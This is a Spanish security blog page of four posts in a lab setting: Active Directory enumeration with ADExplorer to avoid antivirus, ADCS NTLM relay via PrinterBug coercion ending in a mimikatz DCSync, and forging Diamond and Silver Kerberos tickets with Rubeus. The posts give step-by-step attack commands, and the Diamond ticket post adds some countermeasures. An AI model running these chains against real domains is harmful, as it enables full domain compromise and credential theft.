24 jun 2024

ADExplorer - cómo enumerar un dominio cuando el antivirus no está de acuerdo




En la entrega de hoy vamos a estar hablando sobre cómo enumerar un dominio cuando el antivirus no está de acuerdo.

Durante una auditoría de seguridad, enumerar el dominio es una tarea crucial para obtener una visión completa de la infraestructura del dominio corporativo, para lo cual se utilizan herramientas de recolección como SharpHound o PowerView. Sin embargo, estas herramientas a menudo son detectadas y bloqueadas por antivirus y otras medidas de seguridad implementadas. Además, dadas las restricciones de tiempo típicas de una auditoría, no siempre es posible evadir con éxito estas defensas para realizar la enumeración deseada.

En estos casos, surge la necesidad de buscar alternativas que no solo sean efectivas, sino también discretas. Una excelente alternativa es ADExplorer.exe, una herramienta proporcionada por Sysinternals y firmada por Microsoft. Al estar firmada por una entidad reconocida como Microsoft, ADExplorer es generalmente considerada como no maliciosa y por lo tanto, es menos probable que sea bloqueada por los antivirus.

No obstante, si un atacante está aprovechando herramientas como ADExplorer. Puede darse la ocasión donde la consulta LDAP pueda contener objectClass=* u objectGuid=*. Esto no es necesariamente ideal porque, dependiendo del tamaño de la organización, esto podría contener una gran cantidad de datos para recuperar y podría interrumpir las comunicaciones entre un C2 y la estación de trabajo en la que se ejecuta el agente.

Partiendo de tener un usuario de dominio, ADExplorer permite inspeccionar el dominio y realizar un snapshot del Directorio Activo en un fichero .dat. Aunque este snapshot no contiene tanta información detallada como una extracción completa realizada por SharpHound (no se enumeran sesiones, no proporciona un path de ataque, etc), sigue siendo un punto de partida muy útil para la enumeración del dominio. 


Una de las ventajas significativas de usar ADExplorer es la posibilidad de convertir el archivo .dat generado en un formato más utilizable para el análisis posterior. Utilizando la herramienta ADExplorerSnapshot.py, el archivo .dat puede ser convertido a formato .json. Esta conversión permite que los datos sean importados a una GUI de BloodHound, una plataforma ampliamente utilizada para el análisis y visualización de la información del Directorio Activo. De esta manera, se puede aprovechar al máximo la información recolectada, facilitando una mejor comprensión de la infraestructura de red y potenciales vulnerabilidades.



Además, ADExplorer genera un tráfico que muchos sistemas de monitorización de redes no consideran malicioso. Esta característica puede ser muy interesante de cara a ejercicios de red team, donde el objetivo es recopilar la información necesaria sin ser detectado. Al no levantar sospechas con su tráfico, ADExplorer se convierte en una herramienta estratégica para los profesionales de la seguridad que buscan realizar una auditoría exhaustiva sin alertar a los sistemas de defensa de la red.


Y de esta manera finalizamos la entrega sobre ADExplorer, gracias por acompañarnos otro Lunes más hasta la próxima.

Ignacio Sánchez, Analista de Ciberseguridad en Zerolynx.

17 jun 2024

Certificate Service Relaying


Tras forzar una autenticación y obtener el hash NetNTLM de la contraseña del usuario máquina de la víctima, se nos presentan diferentes escenarios de explotación los cuales comentaremos a lo largo de diversas entradas en el blog.

A continuación, hablaremos de Certificate Service Relaying con un ejemplo práctico en un laboratorio de pruebas.

En este primer caso, el ataque consta de reutilizar la credencial capturada mediante un “Coerce Autentication” para autenticarse en un ADCS (Active Directory Certificate Service) mal configurado (que lo está por defecto), para poder escalar privilegios en el dominio.

A continuación, se muestran algunas de las condiciones que se deben cumplir para poder realizar este ataque:

  • El ADCS tiene que estar configurado para aceptar autenticaciones NTLM.
  • La autenticación NTLM no está protegida por EPA o firmado SMB.
  • El ADCS está ejecutando cualquiera de los siguientes servicios:
    • Servicio web de directiva de inscripción de certificados.
    • Servicio web de inscripción de certificados.

Resumen

A continuación, se explica a grandes rasgos el proceso de explotación de este ataque:

1. Conseguir acceso a una red configurada con Active Directory y una instancia ADCS mal configurada. Para ciertos ataques de coerce, además habrá que comprometer un usuario del dominio, independientemente de los privilegios de este.

2. Configurar a la escucha, en un equipo controlado por el atacante, un software para realizar la reutilización de la autenticación NTLM contra la instancia ADCS mal configurada.

3. Forzar la autenticación del controlador del dominio (Cualquier vulnerabilidad de “Coerce Autentication”) contra la maquina controlada por el atacante con el software para reutilizar la autenticación NTLM.

4. El controlador de dominio se autentica en la maquina controlada por el atacante.

5. La credencial obtenida del usuario máquina del controlador del dominio es reutilizada para autenticarse sobre el ADCS.

6. El ADCS emite un certificado para el usuario de máquina del controlador del dominio.

7. Haciendo uso del certificado obtenido en el paso anterior, se solicita un ticket Kerberos TGT.

8. Utilizar el ticket TGT del usuario máquina del controlador de dominio para solicitar el TGS de cualquier usuario, o realizar un DCSync para obtener el NTDS del dominio.

Componentes del laboratorio de pruebas

A continuación, describimos brevemente los activos que se encuentran en el laboratorio de pruebas:

  • Attack_Machine – Esta máquina hace referencia a una Kali Linux desde donde realizaremos el ataque para obtener una “Coerce Autentication” y tener a la escucha el software para la reutilización de la autenticación.
  • DC.corp.lab – Controlador de dominio con el dominio “corp.lab” configurado, el cual va a ser víctima del ataque. Se configurará un usuario denominado como “Bob” en dicho dominio sin privilegios para emular el ataque desde el compromiso del mismo.
  • CA.corp.lab – Entidad certificadora dentro del dominio “corp.lab”.
  • Windows10 – Equipo con sistema operativo Windows comprometido previamente por el atacante, dentro del dominio “corp.lab”.

Instalación de versión especifica de impacket

Para poder desarrollar este ataque, es necesario tener instalada una versión especifica de impacket, la cual está desarrollada para poder reutilizar contra el ADCS la autenticación NTLM obtenida. Para ello seguiremos los siguientes pasos:

  • Instalar el paquete de entornos virtuales de Python:

                sudo apt install python3-venv


  • Descargar y comprobar la versión especifica de impacket necesaria.


git clone https://github.com/ExAndroidDev/impacket.git

cd impacket

git checkout ntlmrelayx-adcs-attack


  • Crear un nuevo entorno virtual e instalar las dependencias de impacket
python3 -m venv impacket-adcs-attack
source impacket-adcs-attack/bin/activate 
pip install 



Desarrollo del ataque


Identificar servicio ADCS mal configurado en el dominio


Tras instalar la versión especifica de impacket, el primer paso que debe realizar es identificar el ADCS. Para ello se podrá hacer uso de múltiples herramientas, entre las que se encuentra una nativa de Microsoft denominada como certutil.


Tras detectar cual es el servidor, se deberá comprobar si tiene habilitado el servicio web de inscripción de certificados habilitado, para ello accederemos a la siguiente url desde un navegador:

http://ca.corp.lab/certsrv/certqus.asp


Cabe destacar, que al acceder a dicha URL nos solicitará un usuario y una contraseña, el cual será el de un usuario del dominio previamente comprometido (En este caso el usuario “CORP.lab\Bob”).

Una vez llegados a este punto, deberemos comprobar si el controlador de dominio es vulnerable a alguno de los ataques de “Coerce Autentication” explicados en en otras entradas del blog. En este caso, la explotación la realizaremos abusando del MS-RPC denominado como MS-RPRN mediante el script Printer Bug.

Se deberá comprobar que el DC tiene dicho MS-RPC habilitado mediante el siguiente comando:

python3 rpcdump.py @dc.corp.lab | grep 'MS-RPRN'


Puesta a punto del software para la reutilización de la autenticación NTLM 


A continuación, se deberá configurar el entorno del atacante para poder realizar el ataque de reutilización de contraseñas. Para ello, se deberá configurar la herramienta denominada como Responder de la siguiente forma:

Sudo nano /etc/responder/Responder.conf
SMB = Off
HTTP = Off



A continuación, se deberá ejecutar tanto el script denominado como responder, responsable de capturar la “Coerce autentication” como el script denominado como ntlmrelayx previamente instalado, para realizar la reutilización contra el ADCS de la autenticación NTLM obtenida.

sudo responder -I eth0 -wd



python3 ntlmrelayx.py -debug -smb2support -t http://ca.corp.lab/certsrv/certfnsh.asp  --adcs --template DomainController


Forzar autenticación y obtención del certificado expedido por el ADCS

Una vez teniendo en ejecución ambos scripts, se procederá a explotar la “Coerce Autentication”.

python3 printerbug.py "CORP/bob:<password> @dc.corp.lab" attack_machine


Tras la anterior ejecución, se obtendrá el certificado del usuario de máquina del dc:


Obtención del ticket TGT del controlador de dominio

Una vez obtenido el certificado, desde el equipo Windows 10, haremos uso de la herramienta Rubeus para solicitar e importar un ticket TGT del usuario máquina del controlador de dominio.

.\Rubeus.exe asktgt /dc:<ip del DC> /domain:CORP.LAB /user:DC$ /ptt /certificate:<Certificado en base64>


Se deberá comprobar que el ticket está correctamente importado mediante el siguiente comando:

klist



Tras comprobar que se encuentra correctamente importado, se podrán realizar diferentes acciones, como, por ejemplo, solicitar el ticket TGS del usuario Administrador del dominio:

.\mimikatz.exe
lsadump::dcsync /domain:CORP.lab /user:Administrador



Una vez obtenido el TGS del usuario administrador del dominio es posible autenticarse en el DC con privilegios elevados y comprometer la totalidad del dominio.

Este ha sido el primero de esperemos que muchos escenarios a comentar… ¿Y tú, cuáles conoces? Hasta la próxima entrada.

Dimas Pastor, Senior Analyst en Grupo Zerolynx.


10 jun 2024

Tickets Kerberos - Diamond Ticket

 

Finalizando la entrega de Tickets Kerberos, damos paso a el Diamond Ticket.

Al igual que un Golden Ticket, un Diamond Ticket es un TGT que puede utilizarse para acceder a cualquier servicio como cualquier usuario.

Un Golden Ticket se crea de manera completamente offline, se cifra con el hash KRBTGT del dominio en cuestión y luego se pasa a una sesión de usuario para su uso. Debido a que los controladores de dominio no rastrean los TGT que han emitido legítimamente, aceptarán sin problemas cualquier TGT que esté cifrado con su propio hash de la cuenta KRBTGT.

Existen dos maneras habituales para detectar el uso de Golden Tickets:

  • Realizar una búsqueda de peticiones TGS-REQ que no tengan una petición AS-REQ correspondiente
  • Realizar una búsqueda de TGT que tengan valores no habituales, como una vida útil de 10 años, que establece Mimikatz por defecto


Un Diamond Ticket se genera de manera diferente, esto es, modificando los campos de un TGT legítimo emitido previamente por un DC. Esto se logra solicitando primero un TGT, descifrándolo con el hash de la cuenta KRBTGT del dominio, modificando los campos deseados del ticket y luego volviéndolo a cifrar. De este modo se evitan las dos detecciones anteriormente mencionadas para un Golden Ticket, ya que:

  • Los TGS-REQ tendrán un AS-REQ asociado
  • El TGT fue emitido por un DC, lo que significa que tendrá todos los detalles correctos de la política Kerberos del dominio. Aunque es cierto que estos detalles pueden falsificarse con precisión durante la creación de un Golden Ticket, es más complejo y está abierto a errores

Impacto:

Un Diamond Ticket, al igual que un Golden Ticket, permite acceso ilimitado y persistente a cualquier recurso dentro del dominio hasta que la clave krbtgt se cambie, lo cual puede ser un proceso complejo y disruptivo.

Explotación

Al igual que en el Golden Ticket, se parte del compromiso total del dominio

Creación del ticket

Para crear el Diamond Ticket, también vamos a hacer uso de la herramienta Rubeus, ejecutando el siguiente comando:

Rubeus.exe diamond /domain:north.sevenkingdoms.local /user:eddard.stark /password:FightP3aceAndHonor! /tickeruser:eddar.stark /ticketuserid:1111 /groups:512 /krbkey:42a38fe97bcf9c48190e5d77e48faa7d95b7fed838c8910845a86d66d78f188a /nowrap


  • Domain: Nombre del dominio 
  • User: Usuario con el que se pedirá el TGT a modificar
  • Password: Contraseña del usuario con el que se pedirá el TGT a modificar
  • Ticketuser: Usuario a impersonar
  • Ticketusersid: SID del usuario a impersonar
  • Groups: Grupos que queremos que se añadan en el ticket (512 -> Domain Admins)
  • Krbkey: Clave AES256 de la cuenta KRBTGT

Importar el ticket


Una vez obtenido el ticket, podemos comprobar que no tenemos acceso mediante SMB al Controlador de Dominio.

ls \\winterfell\c$


Para ganar acceso, primero importamos el ticket en nuestra sesión. Podemos hacer uso de Rubeus de nuevo para lograrlo:

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:NORTH /username:eddard.stark /password:PassFake /ticket: doIFvT[…]LkxPQ0FM



  • Program: Comando a ejecutar donde se inyectará el ticket
  • Domain: Nombre del dominio
  • Username: Usuario del dominio
  • Password: Contraseña del usuario. No es necesario conocer la contraseña real del usuario
  • Ticket: El ticket creado anteriormente

Una vez importado el ticket, podemos acceder al DC como podemos ver en la imagen.
ls \\winterfell\c$



Contramedidas:

  • Rotación de Contraseñas: Regularmente cambiar las contraseñas de las cuentas de servicio. De manera especial, asegurar que la cuenta KRBTGT esté protegida y que su contraseña sea cambiada periódicamente, aunque con cuidado debido al impacto significativo que se podría producir en el entorno.
  • Seguridad de las Cuentas de Servicio: Asegurar que las cuentas de servicio utilicen contraseñas fuertes y únicas.
  • Segmentación y Limitación de Privilegios: Aplicar el principio de privilegios mínimos y segmentar la red para limitar el alcance de cualquier posible compromiso, asegurando que el acceso a recursos críticos esté restringido y monitoreado.
  • Auditoría y Monitoreo: Configurar auditorías y monitoreo exhaustivo de la actividad de autenticación y uso de tickets Kerberos. Monitoreo y Detección Proactiva: Implementar soluciones de monitoreo y detección avanzadas que puedan identificar patrones anómalos y actividades sospechosas, incluyendo el análisis de tráfico de red, actividad de autenticación y uso de tickets Kerberos anómalos.
  • Auditorías y Revisiones Regulares: Realizar auditorías de seguridad regulares y revisiones de permisos para identificar y corregir cualquier configuración indebida o vulnerabilidad potencial.

Regresando un poco a la feria donde solemos usar muchos tickets os dejamos a modo resumen la siguiente tabla:

CaracterísticaSilver TicketGolden TicketDiamond Ticket
ObjetivoServicio específicoAcceso a todo el dominioAcceso a todo el dominio
Credenciales necesariasCuenta de servicio específicoAdministrador de dominio o KRBTGT.Administrador de dominio o KRBTGT.
ImpactoAcceso limitado a un servicioAcceso ilimitado en el dominioAcceso ilimitado en el dominio
Complejidad del AtaqueModeradaAltaMuy alta
Contramedidas ClaveRotación de contraseñas, monitoreoProtección de KRBTGT, monitoreo exhaustivoProtección de KRBTGT, monitoreo exhaustivo


Con esto concluimos el paseo por las diferentes atracciones. Nos vemos en la siguiente feria perdón, entrega.

Álvaro Temes, analista de ciberseguridad en Zerolynx.

3 jun 2024

Tickets Kerberos - Silver Ticket


Continuando con las entregas de Tickets de Kerberos, en publicaciones pasadas hemos hablado sobre el Golden Ticket, en esta ocasión estaremos hablando del Silver Ticket.

SILVER TICKET

El ataque Silver Ticket implica la creación de un Ticket Granting Service (TGS), que permite a los atacantes obtener acceso a un servicio específico en un entorno de Active Directory sin la necesidad de autenticarse a través del controlador de dominio (Key Distribution Center, KDC).

Este método se basa en adquirir el hash NTLM o contraseña de una cuenta de servicio, para falsificar un Ticket Granting Service (TGS). Estas credenciales se pueden obtener de distintas maneras durante el ataque al Dominio, como por ejemplo por medio de herramientas como Responder o mediante técnicas de Kerberoasting. Tras la creación de este ticket falsificado, un atacante puede acceder al servicio específico, haciéndose pasar por cualquier usuario y, por lo general, con el objetivo de obtener privilegios administrativos.

Si en lugar de obtener las credenciales en texto claro o hash NTLM, se pudieran obtener las claves AES (por ejemplo, mediante un volcado de memoria), se recomienda el uso de estas claves AES para la creación de los tickets, ya que es una manera más segura y menos detectable.

Explotación:

En primer lugar, vamos a asumir que hemos obtenido una sesión como SYSTEM en una máquina del dominio. Esto por ejemplo ha podido suceder tras comprometer un servidor IIS y una posterior escalada de privilegios haciendo uso de un Potato exploit.

Tras obtener el control del servidor, podemos obtener las claves de Kerberos con mimikatz y el comando sekurlsa::ekeys



Creación del ticket

Una vez obtenidas las claves de Kerberos, podemos crear un ticket para el servicio CIFS del propio servidor, el cual nos garantizará acceso al mismo como el usuario del dominio que queramos. En este caso crearemos el ticket con el comando:

Rubeus.exe silver /service:cifs/castelblack.nort.sevenkingdoms.local /aes256: 0ad6c98bbba174b0b2f8d9a05279fe6892cef5f0e1bab59e01b5510e9920774d /user: eddard.stark /domain:north.sevenkingdoms.local /sid: S-1-5-21-1430251130-2586379517-4083755373 /nowrap



  • Service: Nombre del servicio al que se solicitará el ticket
  • Aes256: Clave aes256 de la cuenta de máquina extraída anteriormente
  • User: Usuario a impersonalizar, en este caso un Domain Admin
  • Domain: Nombre del dominio
  • Sid: SID del dominio

Importar el ticket

Una vez obtenido el ticket, podemos comprobar que no tenemos acceso de administración al servidor desde nuestra consola de usuario no privilegiado.

ls \\castelblack.north.sevenkingdoms.local\C$



El siguiente paso será importar el ticket generado anteriormente en un nuevo proceso. Esto se puede conseguir con el comando:

Rubeus.exe createnetonly /program:C:\Windows\System32\cmd.exe /domain:NORTH /username: eddard.stark /password:PassFake /ticket: doIGGDCC[…]b2NhbA==


  • Program: Comando a ejecutar donde se inyectará el ticket
  • Domain: Nombre del dominio
  • Username: Usuario del dominio
  • Password: Contraseña del usuario. No es necesario conocer la contraseña real del usuario.
  • Ticket: El ticket creado anteriormente
Tras la creación del proceso con nuestro Silver Ticket, ya podremos acceder al servidor en cuestión mediante el servicio CIFS desde nuestra sesión de usuario no privilegiado.
ls \\castelblack.north.sevenkingdoms.local\c$


Limitaciones:

Un Silver Ticket es válido solo para el servicio específico para el cual fue creado. No permite acceso a otros servicios o recursos.

Y con esto finalizamos el post, en ese sentido ahora sabemos sobre el Silver Ticket y el Golden Ticket, queda pendiente una entrega más sobre estos tickets de kerberos. Hasta el próximo ticket.

Álvaro Temes, analísta de ciberseguridad en Zerolynx.